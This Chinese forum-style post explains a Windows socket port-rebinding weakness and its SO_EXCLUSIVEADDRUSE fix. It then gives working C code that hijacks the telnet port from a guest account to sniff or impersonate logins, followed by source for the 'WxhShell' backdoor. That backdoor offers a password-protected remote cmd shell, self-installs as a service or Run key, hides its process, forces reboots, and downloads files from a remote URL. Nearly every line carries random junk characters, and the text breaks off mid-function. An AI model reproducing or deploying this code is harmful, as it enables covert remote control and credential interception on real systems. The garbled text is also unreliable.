在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_[zZm* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
c/l%:!A e):jQite
saddr.sin_family = AF_INET;
m `"^d # ZLsfF
=/G saddr.sin_addr.s_addr = htonl(INADDR_ANY);
K>=KsG yN9k-IPI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4uQ\JD(*Eu CqMm'6;$a} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<Fkm7ME] l^.d3b 这意味着什么?意味着可以进行如下的攻击:
g@IV|C(*0 1 &24:& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k[TVu5R mAycfa 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
j]-0m4QF 3j'A.S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,EkzBVgo W[pOLc- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
I
r8,= .hBq1p
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
G?:{9. ( Yt]tRqrh;T 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
BMubN ~%SmH[i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
{M`yYeo )e#KL$B)v #include
=fJDFg #include
!Zowe*` #include
(mO{W #include
j_`
[Z DWORD WINAPI ClientThread(LPVOID lpParam);
s} 2TJa int main()
D{-h2=V {
"4Joou"U WORD wVersionRequested;
;yfKYN[ DWORD ret;
bYPkqitqz WSADATA wsaData;
U3Fa.bC6} BOOL val;
vrRbUwL! SOCKADDR_IN saddr;
ZXCq> SOCKADDR_IN scaddr;
}tq int err;
C5}c?=#bdf SOCKET s;
6`KR SOCKET sc;
,2t|(V*"& int caddsize;
$8/=@E{51 HANDLE mt;
baLO~C DWORD tid;
[NG~FwpRf wVersionRequested = MAKEWORD( 2, 2 );
~q5aMy d< err = WSAStartup( wVersionRequested, &wsaData );
UQ0Sfu if ( err != 0 ) {
F52%og~N printf("error!WSAStartup failed!\n");
zD#$]?@ b return -1;
k|C~qe3E }
icO$9c saddr.sin_family = AF_INET;
{e'P*j ~lBb%M //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6Zr_W#SE g=Gd| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
l ga%U~ saddr.sin_port = htons(23);
VI xGD#m if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
l dd8'2 {
RIhu9W printf("error!socket failed!\n");
JD`IPQb~E return -1;
Q6Ay$*y=D }
/ // val = TRUE;
C bWz;$r //SO_REUSEADDR选项就是可以实现端口重绑定的
UB5CvM28 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
NCrNlHIF {
Cz1Q@<) printf("error!setsockopt failed!\n");
/ @v V^!#1 return -1;
4>x$I9^Y! }
m:6^yfS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1 X8P v*, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
y4\(ynk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
JfOBZQ a&^HvXO(>( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ro& / {
.uh>S!X, ] ret=GetLastError();
]%%I=r printf("error!bind failed!\n");
Z\YCjs% return -1;
B$ =oU }
/)%$xi listen(s,2);
PO*;V<^ while(1)
k.."_4 {
_4#Mdnh}[ caddsize = sizeof(scaddr);
AvmI<U //接受连接请求
'hoEdJ]t5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Abw=x4d(i if(sc!=INVALID_SOCKET)
V4#b W {
w3n6md mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`49: !M$i if(mt==NULL)
}WowgY {
c-jE1y< printf("Thread Creat Failed!\n");
{PGiNY%q break;
u=6LPwiI }
\m xi8Z
w }
ff;9P5X CloseHandle(mt);
<)qJI'u| }
R|@?6< closesocket(s);
yG'
5: WSACleanup();
<`Xt?K return 0;
^P!(*k#T }
JT,[; DWORD WINAPI ClientThread(LPVOID lpParam)
ngt?9i;N {
'?Jz8iu- SOCKET ss = (SOCKET)lpParam;
+^6a$ N SOCKET sc;
MJ\^i4 unsigned char buf[4096];
euMJ c SOCKADDR_IN saddr;
#Dz. 58A long num;
*'-[J 2 DWORD val;
We`6# \Z X DWORD ret;
kC_Kb&Q0 //如果是隐藏端口应用的话,可以在此处加一些判断
7&hhKEA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
EXF|;@-" saddr.sin_family = AF_INET;
zhC#< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
rq#\x{l saddr.sin_port = htons(23);
v:IpZ;^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qg06*$% {
5y~Srb?2 printf("error!socket failed!\n");
RM3"8J return -1;
tqFE>ojlI }
V;LV),R? val = 100;
R:5uZAx if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z~3 {
y$K[ArqX ret = GetLastError();
\S_o{0ZY} return -1;
oWLv-{08 }
{9XN\v=$"* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X()yhe_ {
h( DmSW ret = GetLastError();
)i^S:2 return -1;
Krd0Gc~\|
}
Vv&GyqoO] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5v[2R.eT- {
adtgNwg printf("error!socket connect failed!\n");
p_B5fm7#6W closesocket(sc);
._[uSBR' closesocket(ss);
ZA7b;{o [ return -1;
z7s}-w, }
!!<H*9]+W; while(1)
-KL5sK {
_Wtwh0[r* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
PVi0| //如果是嗅探内容的话,可以再此处进行内容分析和记录
2dCD.9s9~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
$ vBFs]h num = recv(ss,buf,4096,0);
'j\~> a3\ if(num>0)
]64pb;w"$D send(sc,buf,num,0);
ATF>"Ux else if(num==0)
@Yw>s9X break;
Sg<
B+u\\ num = recv(sc,buf,4096,0);
GGU>={D) if(num>0)
!PfdY&.) send(ss,buf,num,0);
f&I5bPS7} else if(num==0)
C ~Doj break;
0"l`M5-KP }
r<[G~n closesocket(ss);
hz+c]K closesocket(sc);
-VvN1G6.x? return 0 ;
skF}_ }
`Krk<G $"g'C8 u =lsH ==========================================================
7.tIf
<^$P D%=j@ 下边附上一个代码,,WXhSHELL
ZU;nXqjc K$wxiGg8P ==========================================================
<m> m"|G )
D5JA` #include "stdafx.h"
Q>I7.c-M| L0qL\>#ejr #include <stdio.h>
JvF0s}#4 #include <string.h>
RBpv40n0 #include <windows.h>
O f]/tdPp #include <winsock2.h>
}J6 y NoXu #include <winsvc.h>
UlPhW~F) #include <urlmon.h>
X2`n&JE H#3Ma1z #pragma comment (lib, "Ws2_32.lib")
%zN~%mJG #pragma comment (lib, "urlmon.lib")
8{ )N%r p:
u@?
k #define MAX_USER 100 // 最大客户端连接数
]f6,4[ #define BUF_SOCK 200 // sock buffer
ri49r*_1 #define KEY_BUFF 255 // 输入 buffer
;pqS|ayl sY* qf= #define REBOOT 0 // 重启
kR<\iT0j #define SHUTDOWN 1 // 关机
4MoxP _opB,,G #define DEF_PORT 5000 // 监听端口
@2sr/gX^ _sQhD i #define REG_LEN 16 // 注册表键长度
S<g~VK!Tt #define SVC_LEN 80 // NT服务名长度
D2f~*!vEnA (8(P12l // 从dll定义API
Ej<`HbJ'Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9O\yIL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
S_;m+Ytg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\q"vC1,9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#'I<q T3t
w.yh // wxhshell配置信息
,7;euV5X struct WSCFG {
|N|[E5Cn int ws_port; // 监听端口
#<vzQ\~Y char ws_passstr[REG_LEN]; // 口令
W(EN01d \ int ws_autoins; // 安装标记, 1=yes 0=no
:M.]- +( char ws_regname[REG_LEN]; // 注册表键名
pwl7aC+6d char ws_svcname[REG_LEN]; // 服务名
awSi0*d~ char ws_svcdisp[SVC_LEN]; // 服务显示名
Q
822 # char ws_svcdesc[SVC_LEN]; // 服务描述信息
o[g]Va*8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!!6g<S7) int ws_downexe; // 下载执行标记, 1=yes 0=no
fz%e?@>q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
jWK>=|)=c char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!3\(
d{ 1%7zCM0s };
!(sL 7TA&u' // default Wxhshell configuration
K*5Ij]j& struct WSCFG wscfg={DEF_PORT,
BX2}ar "xuhuanlingzhe",
wvH*<,8Vq 1,
nM`pnR_ "Wxhshell",
c1 1?Kq "Wxhshell",
h4c4!S "WxhShell Service",
@"afEMd "Wrsky Windows CmdShell Service",
MX7$f (Hy "Please Input Your Password: ",
&7KX`%K"D 1,
uP1]EA "
http://www.wrsky.com/wxhshell.exe",
h YVy 65Ea "Wxhshell.exe"
AZnFOS };
uy([>8uu j^D/,SW // 消息定义模块
*-@@t+3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
o3.b='HAm char *msg_ws_prompt="\n\r? for help\n\r#>";
H4BuxM_r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+[#^c3x2 char *msg_ws_ext="\n\rExit.";
fAD
{sg char *msg_ws_end="\n\rQuit.";
(n2=.9k! char *msg_ws_boot="\n\rReboot...";
,1i l& char *msg_ws_poff="\n\rShutdown...";
A{gniYqvB` char *msg_ws_down="\n\rSave to ";
IDp2#qg_ S>R40T=e char *msg_ws_err="\n\rErr!";
cB2~W%H char *msg_ws_ok="\n\rOK!";
xS_tB)C ORt)sn&~d char ExeFile[MAX_PATH];
#ihHAiy3 int nUser = 0;
`Wu.wx HANDLE handles[MAX_USER];
xgWVxX^) int OsIsNt;
<^adt
*m 2&:nHZ) SERVICE_STATUS serviceStatus;
;z9U_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
mnM$#%q;% 0~cbB // 函数声明
n;r
W int Install(void);
1P/4,D@ int Uninstall(void);
Lasi)e=$< int DownloadFile(char *sURL, SOCKET wsh);
;uqi int Boot(int flag);
cB7'>L void HideProc(void);
:BUr8%l int GetOsVer(void);
f:h<tlob int Wxhshell(SOCKET wsl);
%kiPE<<x void TalkWithClient(void *cs);
M1XzA
`* int CmdShell(SOCKET sock);
z_87;y;= int StartFromService(void);
Y^'mBM#j int StartWxhshell(LPSTR lpCmdLine);
:Q>{Y {y|j**NZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
tZA%^Y VOID WINAPI NTServiceHandler( DWORD fdwControl );
g#[,4o; 3Oe\l[?$; // 数据结构和表定义
&MGM9
zm-] SERVICE_TABLE_ENTRY DispatchTable[] =
FMAt6HfU {
=T|m#*{.L {wscfg.ws_svcname, NTServiceMain},
\_|r>vQ {NULL, NULL}
>>0c)uC|W };
ASaNac-3 3mXRLx=0> // 自我安装
oY7 eVu z int Install(void)
+'9eo%3O {
6g'+1%O char svExeFile[MAX_PATH];
]}BT'fky# HKEY key;
t+n+_X strcpy(svExeFile,ExeFile);
f_ UwIP I=}R
Z9 // 如果是win9x系统,修改注册表设为自启动
X&.LX if(!OsIsNt) {
hi9@U]H# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
i}Cy q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gv9z`[erS RegCloseKey(key);
tCr?!Y~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jUy$aGX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
KJ8Qi+cZ RegCloseKey(key);
x%,!px3s return 0;
CL"q" }
be~'}`> }
go5l<:9 }
}G1hB#j else {
XN~r d,MZ% 5w@Q %'o`I // 如果是NT以上系统,安装为系统服务
1fU~&?&-u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'0/[%Q if (schSCManager!=0)
%ysfFE {
ri1:q.:I] SC_HANDLE schService = CreateService
TS;?>J- (
[^A>hs* schSCManager,
p`3$NCJN wscfg.ws_svcname,
*\F,?yU wscfg.ws_svcdisp,
l*n4d[0J SERVICE_ALL_ACCESS,
*]* D^' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+AL(K: SERVICE_AUTO_START,
+U,>D+ SERVICE_ERROR_NORMAL,
2f.4P]s`T svExeFile,
o'p[G]NQ1o NULL,
[7gwJiK NULL,
+xRSd * NULL,
gq an]b_ NULL,
v6+<F;G3y> NULL
wM&WR2 );
?K^~(D8( if (schService!=0)
2^=.jML[ {
nAW`G'V# CloseServiceHandle(schService);
]LZ,>v CloseServiceHandle(schSCManager);
I xE}v%& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
iU
a `< strcat(svExeFile,wscfg.ws_svcname);
]$?\,` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
f)!7/+9> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%R LGO& RegCloseKey(key);
f2RIOL, return 0;
y7Sj^muBY }
m6M:l"u }
Zywx.@! CloseServiceHandle(schSCManager);
]eIV'lP,j/ }
~3s\Q%
}
=hB0p^a 7NDjXcuq return 1;
8S7 YVsDz" }
[49Ae2W` ${)s
~[ // 自我卸载
odC}RdN int Uninstall(void)
\t@4)+s/) {
#[ch?K HKEY key;
g\foBK:GE yaKw/vV if(!OsIsNt) {
Q!"W)tD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7c.LyvM RegDeleteValue(key,wscfg.ws_regname);
6pY<,7t0 RegCloseKey(key);
wQ/Z: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
088"7 s RegDeleteValue(key,wscfg.ws_regname);
u3@v RegCloseKey(key);
e&J_uG return 0;
qI#ow_lL# }
uV+.(sjH }
3Mt Alc0xp }
UV8K$n< else {
=
~^
MJ0UZxnl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(YH/#n1"{ if (schSCManager!=0)
(GI]Uyn {
Y+'522er SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gtV*`g if (schService!=0)
3&z.m/ {
rE&+fSBD if(DeleteService(schService)!=0) {
>*cg
K}!@ CloseServiceHandle(schService);
=Frbhh57 CloseServiceHandle(schSCManager);
p$*;>YKO return 0;
zaoC }
Wx-vWWx*Q CloseServiceHandle(schService);
eGh7 ,wngH }
d65t"U CloseServiceHandle(schSCManager);
hpOUz% }
"[BDa}Il }
,3E9H&@j XT0:$0F return 1;
!wZ9P }
W:z!fh- #8[iqvE // 从指定url下载文件
J,=:
]t int DownloadFile(char *sURL, SOCKET wsh)
OGqsQ {
, %%}d9 HRESULT hr;
fK{[=xMr@ char seps[]= "/";
aR~Od Ys char *token;
Oe[qfsdW char *file;
jJDYl( [ char myURL[MAX_PATH];
j}$Up7pW
char myFILE[MAX_PATH];
wz(D
}N5 j1{\nP/ strcpy(myURL,sURL);
Om=*b#k token=strtok(myURL,seps);
Zc9j_.?* while(token!=NULL)
dn)pVti_ {
1-bQ
( - file=token;
n%YG)5; token=strtok(NULL,seps);
1_z6O!rx }
;c;n.o.)/# wu2C!gyBo GetCurrentDirectory(MAX_PATH,myFILE);
`Ufv,_n strcat(myFILE, "\\");
Vdz(\-}ao strcat(myFILE, file);
3Ta<7tEM send(wsh,myFILE,strlen(myFILE),0);
Cq-#|+zr send(wsh,"...",3,0);
.6D9m.Q, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&`J?`l X if(hr==S_OK)
p>@S61
&
[ return 0;
c&JYbq else
U
DC>iHt return 1;
q4rDAQyPO :&oUI&(o }
Lv{xwHnE )"o+wSI1 // 系统电源模块
IAJYD/Y&? int Boot(int flag)
A->y#KQ {
'F[ C 4 HANDLE hToken;
}&mFpc TOKEN_PRIVILEGES tkp;
Y[yw8a /-W-MP=Wd if(OsIsNt) {
> \KVg(?D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
FTg4i\Wp LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m*^|9*dIC tkp.PrivilegeCount = 1;
4JD 8w3u/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
GqrOj++> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
A|esVUo<3^ if(flag==REBOOT) {
9IRvbE~2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
WZ<kk T return 0;
OLdD3OI }
,t]qe else {
EdPN= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E(&GZ QE return 0;
oe5.tkc }
h1 D#, }
aumXidbS else {
o,sw[ if(flag==REBOOT) {
T"GuE[?a if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8zRb)B+ return 0;
%ycCNS }
:~2An-V else {
ab=s+[r1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hR$lX8 return 0;
IHg)xZ }
L#`9# Q }
r12{XW?~ Pj!{j)-tS return 1;
yO6
_Gq{ }
^!*?vHx: 28j=q-9Z // win9x进程隐藏模块
`37GVo4 void HideProc(void)
|
3`qT#p{ {
; YaR|)B }bv0~}G4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7\
<4LX if ( hKernel != NULL )
yt&eY6Xp {
QS~;C&1Hl pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
')9%eBaeK ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@x@w<e% FreeLibrary(hKernel);
PSdH9ea }
sX&M+'h p.2>-L return;
h]94\XQ>$ }
rI:KZ}GZ k"P2J}4eO // 获取操作系统版本
F$K-Q;r]< int GetOsVer(void)
{1GW,T!# {
%;0w2W OSVERSIONINFO winfo;
fxDY:l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hG,gY;&[6 GetVersionEx(&winfo);
}eX_p6bBw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
X*~NE\ return 1;
@Y>3 -,o,S else
|<.b:e\4 return 0;
{/BEO=8q2 }
dv0TJ 0% 0;)6ZU // 客户端句柄模块
|zu>G9m int Wxhshell(SOCKET wsl)
K)qbd~<\ {
sQ^>.yG SOCKET wsh;
Y\T*8\h_[ struct sockaddr_in client;
rI}E2J DWORD myID;
~zz |U!TG ru`;cXa, while(nUser<MAX_USER)
~MY(6P {
B-[SUmHr int nSize=sizeof(client);
s\&_Kbw]c wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q;P ~' if(wsh==INVALID_SOCKET) return 1;
&,Q{l$`X +k"dN^K]D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
wN)R !6 if(handles[nUser]==0)
$UjSP closesocket(wsh);
^+[o+ else
4C/8hsn nUser++;
Hcd> \0 }
+^+wS`Y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
J'O`3!Oy/ y`Pp"!P"O return 0;
~+>M,LfK }
4Sg!NPuu7& +>qBK}` // 关闭 socket
%FFw!eVi void CloseIt(SOCKET wsh)
Re1@2a> {
6sy%KO*A closesocket(wsh);
,:\2Lf nUser--;
8VcAtrx_ ExitThread(0);
lO $M6l }
e+R.0E pjj
5 // 客户端请求句柄
0K3FH&.% void TalkWithClient(void *cs)
=w A< F {
UuT[UB=x5 3n:<oOV SOCKET wsh=(SOCKET)cs;
G0s:Dum char pwd[SVC_LEN];
Z `\7B e char cmd[KEY_BUFF];
, D1[}Lr=K char chr[1];
sf*SxdoZU int i,j;
wCt+{Y3T ,Vs:Lle while (nUser < MAX_USER) {
H9)uni 3Xh&l[. if(wscfg.ws_passstr) {
jATU b- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DpS6>$v8t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1UM]$$:i //ZeroMemory(pwd,KEY_BUFF);
BWPYHWW}E i=0;
*>'R
R< while(i<SVC_LEN) {
>Ed^dsb& Zj7XmkL // 设置超时
xY'g7<})$ fd_set FdRead;
\34|9#*z- struct timeval TimeOut;
n#&RY%#` FD_ZERO(&FdRead);
8S02
3 FD_SET(wsh,&FdRead);
4a @iR2e TimeOut.tv_sec=8;
R$@.{d&:w TimeOut.tv_usec=0;
3QHZC0AY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7.Mh$?;i9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
R]Yhuo9,&n =5|5j!i=q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
rODKM-7+ pwd
=chr[0]; hrL<jcv|
if(chr[0]==0xd || chr[0]==0xa) { xqtjtH9X
pwd=0; lhI;K4#
break; $($SQZK&
} 8
KkpXaz
i++; F:@Ixk?E
} UJH{vjIv
:9YQX(l8
// 如果是非法用户,关闭 socket Zb}PP;O
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JgB# EoF
} 'AAY!{>
flB,_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vvM)Rb,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3PA'Uk"5Z
;9PM?Iy[
while(1) { ".)_kt[
}m H>lN
ZeroMemory(cmd,KEY_BUFF); C#~MR+;
f$>orVm%.
// 自动支持客户端 telnet标准 vOK;l0%
j=0; 0uz"}v)
while(j<KEY_BUFF) { 6\3k0z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]1&9~TL
cmd[j]=chr[0]; Flxo%g};
if(chr[0]==0xa || chr[0]==0xd) { C'._}\nX
cmd[j]=0; &XsLp&Do2
break; y2R=%EFh6
} <yS"c5D6
j++; +*J4q5;E[?
} JC"K{V{
s.sy7%{
// 下载文件 'u[o`31.
if(strstr(cmd,"http://")) { Qm#i"jvV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .dCP8|
if(DownloadFile(cmd,wsh)) &%X Jf~IQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zb/Xfu.)?6
else 5S]P#8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =BS'oBn^6
} n:'BN([]o
else { AfN
0lCd,a2:
switch(cmd[0]) { uAs*{:4n
@izi2ND
// 帮助 rO$>zdmYHs
case '?': { AtlR!IEUb
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ro]IE|Fv
break; KN:dm!A
} gVU\^KN]
// 安装 mzxvfXSF
case 'i': { `_U0>Bfg;
if(Install()) ,?<h] !aQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $D s]\j*
else ~cBc&u:"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kQd[E-b7
break; K4/P(*r`
} y/I~x+y
// 卸载 = )l: ^+q
case 'r': { l;}7A,u
if(Uninstall()) o>;0NF| }
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [l%fL9
else $ t# ,'M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @GZa:(
break; 3ZL7N$N}7
} PnIvk]"Ab
// 显示 wxhshell 所在路径 gQd=0"MV
case 'p': { +.#S[G
char svExeFile[MAX_PATH]; Gx_`|I{P
strcpy(svExeFile,"\n\r"); x";.gjI |g
strcat(svExeFile,ExeFile); R^M (fC
send(wsh,svExeFile,strlen(svExeFile),0); <<On*#80w
break; 0rJ\e
} <6b\i5j
// 重启 7cmr
*y
case 'b': { ZYR,8 y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lDPRn~[#\
if(Boot(REBOOT)) ooU Sb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -~ O;tJF2
else { &Wv`AoV
closesocket(wsh); }RN=9J
ExitThread(0); N 1f~K.e\
} .`Old{<
break; TaQ "G
} w
HHF=Q
// 关机 v`+n`DT
case 'd': { ^,Y~M_=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j&[3Be'pQ
if(Boot(SHUTDOWN)) ??zABV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~b$z\|Y
else { 7Ysy\gZ&wp
closesocket(wsh); iVpA@p
ExitThread(0); o.A}``
} bV )PT`-,
break; |Y8Mk2,s
} 7\0|`{|R@
// 获取shell CdzkMVH
case 's': { U8WHE=Kk\h
CmdShell(wsh); (J^Lqh_
closesocket(wsh); )kL`&+#>
ExitThread(0); c5iormb"#
break; ^aD/ .
} 0.u9f`04
// 退出 ]cLEuE^&
case 'x': { ^`TKvcgIc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4iYKW2a
CloseIt(wsh); N.5KPAvg%
break; @wEKCn|}o
} XC7Ty'#"KX
// 离开 <(#xOe
case 'q': { 8tT&BmT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "u Of~e"
closesocket(wsh); J I+KS
WSACleanup(); ^:cb
$9F
exit(1); wcdW72
break; KB%j! ?
} 'XP>} m
} +B`'P9Zk@
} A"\P&kqMV
f 74%YY
// 提示信息 U!a!|s>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J3lG"Ww
} Z0()pT
} +K$5tT6b
{FV,j.D
return; &AQg'|
} ?dJ/)3I%F
t`<}UWAH+
// shell模块句柄 so?pA@O
int CmdShell(SOCKET sock) =2.tu*!C
{ Pp1zW3+Q
STARTUPINFO si; ibZt2@GB)I
ZeroMemory(&si,sizeof(si)); R
"/xne
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .q5J^/kr
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jy\W_CT
PROCESS_INFORMATION ProcessInfo; mHK@(D7X
char cmdline[]="cmd"; AkYupP2]v
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ot|N;=ZKo
return 0; P[Y{LKAbb
} ?r
-\%_J_(
#Acon7Rp
// 自身启动模式 ysSjc
int StartFromService(void) fbh6Ls/
{ 8N=%X-R%
typedef struct r.^0!(d
{ 1KeJd&e
DWORD ExitStatus; ri/t(m^{W
DWORD PebBaseAddress; ! 6p>P4TT
DWORD AffinityMask; io1S9a(y
DWORD BasePriority; +G*"jI8W
ULONG UniqueProcessId; y;,=ajrF
